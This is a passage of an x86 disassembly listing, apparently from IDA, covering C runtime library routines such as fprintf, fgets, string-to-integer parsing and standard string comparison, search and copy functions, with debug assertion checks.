		mov	[ebp+var_10], eax


loc_421F8F:				; CODE XREF: sub_421F80+37j
		cmp	[ebp+arg_0], 0
		jnz	short loc_421FB3
		push	offset dword_43E4A4
		push	0
		push	38h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_421FB3
		int	3		; Trap to Debugger


loc_421FB3:				; CODE XREF: sub_421F80+13j
					; sub_421F80+30j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_421F8F


loc_421FB9:				; CODE XREF: sub_421F80+61j
		cmp	[ebp+arg_4], 0
		jnz	short loc_421FDD
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	39h
		push	offset aFprintf_c ; "fprintf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_421FDD
		int	3		; Trap to Debugger


loc_421FDD:				; CODE XREF: sub_421F80+3Dj
					; sub_421F80+5Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_421FB9
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_424B30
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42C200
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_42A6B0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_42C360
		add	esp, 8
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421F80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422050	proc near		; CODE XREF: sub_4293A0+1C3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_422070
		add	esp, 10h
		pop	ebp
		retn
sub_422050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422070	proc near		; CODE XREF: sub_422050+11p
					; sub_4223B0+11p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_422094:				; CODE XREF: sub_422070+77j
		cmp	dword_4524F0, 1
		jle	short loc_4220B6
		push	8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_18], eax
		jmp	short loc_4220D0
; ---------------------------------------------------------------------------


loc_4220B6:				; CODE XREF: sub_422070+2Bj
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8
		mov	[ebp+var_18], ecx


loc_4220D0:				; CODE XREF: sub_422070+44j
		cmp	[ebp+var_18], 0
		jz	short loc_4220E9
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_422094
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_422070+64j
		movsx	edx, byte ptr [ebp+var_8]
		cmp	edx, 2Dh
		jnz	short loc_42210D
		mov	eax, [ebp+arg_C]
		or	al, 2
		mov	[ebp+arg_C], eax
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_422127
; ---------------------------------------------------------------------------


loc_42210D:				; CODE XREF: sub_422070+80j
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 2Bh
		jnz	short loc_422127
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_422127:				; CODE XREF: sub_422070+9Bj
					; sub_422070+A4j
		cmp	[ebp+arg_8], 0
		jl	short loc_422139
		cmp	[ebp+arg_8], 1
		jz	short loc_422139
		cmp	[ebp+arg_8], 24h
		jle	short loc_42214E


loc_422139:				; CODE XREF: sub_422070+BBj
					; sub_422070+C1j
		cmp	[ebp+arg_4], 0
		jz	short loc_422147
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[edx], eax


loc_422147:				; CODE XREF: sub_422070+CDj
		xor	eax, eax
		jmp	loc_42239D
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422070+C7j
		cmp	[ebp+arg_8], 0
		jnz	short loc_42218C
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 30h
		jz	short loc_422166
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_42218C
; ---------------------------------------------------------------------------


loc_422166:				; CODE XREF: sub_422070+EBj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 78h
		jz	short loc_42217C
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 58h
		jnz	short loc_422185


loc_42217C:				; CODE XREF: sub_422070+FFj
		mov	[ebp+arg_8], 10h
		jmp	short loc_42218C
; ---------------------------------------------------------------------------


loc_422185:				; CODE XREF: sub_422070+10Aj
		mov	[ebp+arg_8], 8


loc_42218C:				; CODE XREF: sub_422070+E2j
					; sub_422070+F4j ...
		cmp	[ebp+arg_8], 10h
		jnz	short loc_4221CB
		movsx	eax, byte ptr [ebp+var_8]
		cmp	eax, 30h
		jnz	short loc_4221CB
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 78h
		jz	short loc_4221B1
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 58h
		jnz	short loc_4221CB


loc_4221B1:				; CODE XREF: sub_422070+134j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4221CB:				; CODE XREF: sub_422070+120j
					; sub_422070+129j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_10], eax


loc_4221D6:				; CODE XREF: sub_422070+26Bj
		cmp	dword_4524F0, 1
		jle	short loc_4221F7
		push	4
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_1C], eax
		jmp	short loc_422212
; ---------------------------------------------------------------------------


loc_4221F7:				; CODE XREF: sub_422070+16Dj
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_1C], eax


loc_422212:				; CODE XREF: sub_422070+185j
		cmp	[ebp+var_1C], 0
		jz	short loc_422224
		movsx	ecx, byte ptr [ebp+var_8]
		sub	ecx, 30h
		mov	[ebp+var_14], ecx
		jmp	short loc_422283
; ---------------------------------------------------------------------------


loc_422224:				; CODE XREF: sub_422070+1A6j
		cmp	dword_4524F0, 1
		jle	short loc_422249
		push	103h
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		push	edx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_20], eax
		jmp	short loc_422266
; ---------------------------------------------------------------------------


loc_422249:				; CODE XREF: sub_422070+1BBj
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 103h
		mov	[ebp+var_20], edx


loc_422266:				; CODE XREF: sub_422070+1D7j
		cmp	[ebp+var_20], 0
		jz	short loc_422281
		movsx	eax, byte ptr [ebp+var_8]
		push	eax
		call	sub_42C410
		add	esp, 4
		sub	eax, 37h
		mov	[ebp+var_14], eax
		jmp	short loc_422283
; ---------------------------------------------------------------------------


loc_422281:				; CODE XREF: sub_422070+1FAj
		jmp	short loc_4222E0
; ---------------------------------------------------------------------------


loc_422283:				; CODE XREF: sub_422070+1B2j
					; sub_422070+20Fj
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+arg_8]
		jb	short loc_42228D
		jmp	short loc_4222E0
; ---------------------------------------------------------------------------


loc_42228D:				; CODE XREF: sub_422070+219j
		mov	edx, [ebp+arg_C]
		or	edx, 8
		mov	[ebp+arg_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_10]
		jb	short loc_4222B3
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_10]
		jnz	short loc_4222C2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	[ebp+var_14], edx
		ja	short loc_4222C2


loc_4222B3:				; CODE XREF: sub_422070+22Cj
		mov	edx, [ebp+var_C]
		imul	edx, [ebp+arg_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_C], edx
		jmp	short loc_4222CA
; ---------------------------------------------------------------------------


loc_4222C2:				; CODE XREF: sub_422070+234j
					; sub_422070+241j
		mov	eax, [ebp+arg_C]
		or	al, 4
		mov	[ebp+arg_C], eax


loc_4222CA:				; CODE XREF: sub_422070+250j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_4221D6
; ---------------------------------------------------------------------------


loc_4222E0:				; CODE XREF: sub_422070:loc_422281j
					; sub_422070+21Bj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		and	edx, 8
		test	edx, edx
		jnz	short loc_422308
		cmp	[ebp+arg_4], 0
		jz	short loc_4222FF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4222FF:				; CODE XREF: sub_422070+287j
		mov	[ebp+var_C], 0
		jmp	short loc_42237A
; ---------------------------------------------------------------------------


loc_422308:				; CODE XREF: sub_422070+281j
		mov	ecx, [ebp+arg_C]
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_422342
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jnz	short loc_42237A
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_42232F
		cmp	[ebp+var_C], 80000000h
		ja	short loc_422342


loc_42232F:				; CODE XREF: sub_422070+2B4j
		mov	ecx, [ebp+arg_C]
		and	ecx, 2
		test	ecx, ecx
		jnz	short loc_42237A
		cmp	[ebp+var_C], 7FFFFFFFh
		jbe	short loc_42237A


loc_422342:				; CODE XREF: sub_422070+2A0j
					; sub_422070+2BDj
		call	sub_42C1E0
		mov	dword ptr [eax], 22h
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jz	short loc_422360
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_42237A
; ---------------------------------------------------------------------------


loc_422360:				; CODE XREF: sub_422070+2E5j
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_422373
		mov	[ebp+var_C], 80000000h
		jmp	short loc_42237A
; ---------------------------------------------------------------------------


loc_422373:				; CODE XREF: sub_422070+2F8j
		mov	[ebp+var_C], 7FFFFFFFh


loc_42237A:				; CODE XREF: sub_422070+296j
					; sub_422070+2AAj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_422388
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx


loc_422388:				; CODE XREF: sub_422070+30Ej
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_42239A
		mov	ecx, [ebp+var_C]
		neg	ecx
		mov	[ebp+var_C], ecx


loc_42239A:				; CODE XREF: sub_422070+320j
		mov	eax, [ebp+var_C]


loc_42239D:				; CODE XREF: sub_422070+D9j
		mov	esp, ebp
		pop	ebp
		retn
sub_422070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223B0	proc near		; CODE XREF: sub_4021E5+6C95p
					; sub_4021E5+74E8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_422070
		add	esp, 10h
		pop	ebp
		retn
sub_4223B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223D0	proc near		; CODE XREF: sub_4021E5+54B6p
					; sub_4181FB+11Bp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], ecx


loc_4223E5:				; CODE XREF: sub_4223D0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_422409
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	3Bh
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422409
		int	3		; Trap to Debugger


loc_422409:				; CODE XREF: sub_4223D0+19j
					; sub_4223D0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4223E5


loc_42240F:				; CODE XREF: sub_4223D0+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_422433
		push	offset dword_43E4A4
		push	0
		push	3Ch
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422433
		int	3		; Trap to Debugger


loc_422433:				; CODE XREF: sub_4223D0+43j
					; sub_4223D0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42240F
		cmp	[ebp+arg_4], 0
		jg	short loc_422446
		xor	eax, eax
		jmp	loc_422507
; ---------------------------------------------------------------------------


loc_422446:				; CODE XREF: sub_4223D0+6Dj
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_424B30
		add	esp, 4


loc_422458:				; CODE XREF: sub_4223D0:loc_4224EDj
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_4], 0
		jz	loc_4224F2
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_4224A3
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		jmp	short loc_4224B2
; ---------------------------------------------------------------------------


loc_4224A3:				; CODE XREF: sub_4223D0+B1j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_429810
		add	esp, 4
		mov	[ebp+var_14], eax


loc_4224B2:				; CODE XREF: sub_4223D0+D1j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_4224D1
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_4224CF
		mov	[ebp+var_10], 0
		jmp	short loc_4224F8
; ---------------------------------------------------------------------------


loc_4224CF:				; CODE XREF: sub_4223D0+F4j
		jmp	short loc_4224F2
; ---------------------------------------------------------------------------


loc_4224D1:				; CODE XREF: sub_4223D0+ECj
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_C]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		cmp	ecx, 0Ah
		jnz	short loc_4224ED
		jmp	short loc_4224F2
; ---------------------------------------------------------------------------


loc_4224ED:				; CODE XREF: sub_4223D0+119j
		jmp	loc_422458
; ---------------------------------------------------------------------------


loc_4224F2:				; CODE XREF: sub_4223D0+95j
					; sub_4223D0:loc_4224CFj ...
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0


loc_4224F8:				; CODE XREF: sub_4223D0+FDj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_424BA0
		add	esp, 4
		mov	eax, [ebp+var_10]


loc_422507:				; CODE XREF: sub_4223D0+71j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4223D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_4021E5+3DB9p
					; sub_4021E5+3DE1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_422531
		xor	eax, eax
		jmp	short loc_422533
; ---------------------------------------------------------------------------


loc_422531:				; CODE XREF: sub_422510+1Bj
		mov	eax, edi


loc_422533:				; CODE XREF: sub_422510+1Fj
		cld
		pop	edi
		leave
		retn
sub_422510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_4021E5+A32p
					; .XComp0:0041C858p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_422571
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_42256F
		jz	short loc_422571
		dec	ecx
		dec	ecx


loc_42256F:				; CODE XREF: sub_422540+29j
		not	ecx


loc_422571:				; CODE XREF: sub_422540+9j
					; sub_422540+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_422540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422580	proc near		; CODE XREF: sub_4021E5+654p
					; sub_4021E5+88B2p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_4225F1
sub_422580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4021E5+672p
					; sub_4021E5+53BDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4225AC


loc_42259D:				; CODE XREF: sub_422590+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_4225DF
		test	ecx, 3
		jnz	short loc_42259D


loc_4225AC:				; CODE XREF: sub_422590+Bj
					; sub_422590+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4225AC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_4225EE
		test	ah, ah
		jz	short loc_4225E9
		test	eax, 0FF0000h
		jz	short loc_4225E4
		test	eax, 0FF000000h
		jz	short loc_4225DF
		jmp	short loc_4225AC
; ---------------------------------------------------------------------------


loc_4225DF:				; CODE XREF: sub_422590+12j
					; sub_422590+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_4225F1
; ---------------------------------------------------------------------------


loc_4225E4:				; CODE XREF: sub_422590+44j
		lea	edi, [ecx-2]
		jmp	short loc_4225F1
; ---------------------------------------------------------------------------


loc_4225E9:				; CODE XREF: sub_422590+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_4225F1
; ---------------------------------------------------------------------------


loc_4225EE:				; CODE XREF: sub_422590+39j
		lea	edi, [ecx-4]


loc_4225F1:				; CODE XREF: sub_422580+5j
					; sub_422590+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_422616


loc_4225FD:				; CODE XREF: sub_422590+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_422668
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_4225FD
		jmp	short loc_422616
; ---------------------------------------------------------------------------


loc_422611:				; CODE XREF: sub_422590+9Ej
					; sub_422590+B8j
		mov	[edi], edx
		add	edi, 4


loc_422616:				; CODE XREF: sub_422590+6Bj
					; sub_422590+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_422611
		test	dl, dl
		jz	short loc_422668
		test	dh, dh
		jz	short loc_42265F
		test	edx, 0FF0000h
		jz	short loc_422652
		test	edx, 0FF000000h
		jz	short loc_42264A
		jmp	short loc_422611
; ---------------------------------------------------------------------------


loc_42264A:				; CODE XREF: sub_422590+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422652:				; CODE XREF: sub_422590+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42265F:				; CODE XREF: sub_422590+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422668:				; CODE XREF: sub_422590+72j
					; sub_422590+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422680


loc_422670:				; CODE XREF: sub_422680+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_422680
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422680	proc near		; CODE XREF: sub_4021E5+617p
					; sub_4021E5+730p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00422670 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_422686:				; CODE XREF: sub_421B10+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4226AB


loc_422698:				; CODE XREF: sub_422680+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_422670
		test	cl, cl
		jz	short loc_4226F4
		test	edx, 3
		jnz	short loc_422698


loc_4226AB:				; CODE XREF: sub_422680+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4226B6:				; CODE XREF: sub_422680+61j
					; sub_422680+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4226F8
		and	eax, 81010100h
		jz	short loc_4226B6
		and	eax, 1010100h
		jnz	short loc_4226F2
		and	esi, 80000000h
		jnz	short loc_4226B6


loc_4226F2:				; CODE XREF: sub_422680+68j
					; sub_422680+81j ...
		pop	esi
		pop	edi


loc_4226F4:				; CODE XREF: sub_422680+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4226F8:				; CODE XREF: sub_422680+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_422735
		test	al, al
		jz	short loc_4226F2
		cmp	ah, bl
		jz	short loc_42272E
		test	ah, ah
		jz	short loc_4226F2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_422727
		test	al, al
		jz	short loc_4226F2
		cmp	ah, bl
		jz	short loc_422720
		test	ah, ah
		jz	short loc_4226F2
		jmp	short loc_4226B6
; ---------------------------------------------------------------------------


loc_422720:				; CODE XREF: sub_422680+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_422727:				; CODE XREF: sub_422680+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42272E:				; CODE XREF: sub_422680+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_422735:				; CODE XREF: sub_422680+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_422680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422740	proc near		; CODE XREF: sub_4021E5+2A1p
					; sub_4021E5+2FDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_42278C


loc_422750:				; CODE XREF: sub_422740+3Cj
					; sub_422740+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_422784
		or	al, al
		jz	short loc_422780
		cmp	ah, [ecx+1]
		jnz	short loc_422784
		or	ah, ah
		jz	short loc_422780
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_422784
		or	al, al
		jz	short loc_422780
		cmp	ah, [ecx+3]
		jnz	short loc_422784
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_422750
		mov	edi, edi


loc_422780:				; CODE XREF: sub_422740+18j
					; sub_422740+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_422784:				; CODE XREF: sub_422740+14j
					; sub_422740+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42278C:				; CODE XREF: sub_422740+Ej
		test	edx, 1
		jz	short loc_4227A8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_422784
		inc	ecx
		or	al, al
		jz	short loc_422780
		test	edx, 2
		jz	short loc_422750


loc_4227A8:				; CODE XREF: sub_422740+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_422784
		or	al, al
		jz	short loc_422780
		cmp	ah, [ecx+1]
		jnz	short loc_422784
		or	ah, ah
		jz	short loc_422780
		add	ecx, 2
		jmp	short loc_422750
sub_422740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227D0	proc near		; CODE XREF: sub_4021E5+DAp
					; sub_4021E5+110p ...

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_30], eax
		call	sub_42B630
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], 0
		jmp	short loc_4227F6
; ---------------------------------------------------------------------------


loc_4227ED:				; CODE XREF: sub_4227D0+34j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_4227F6:				; CODE XREF: sub_4227D0+1Bj
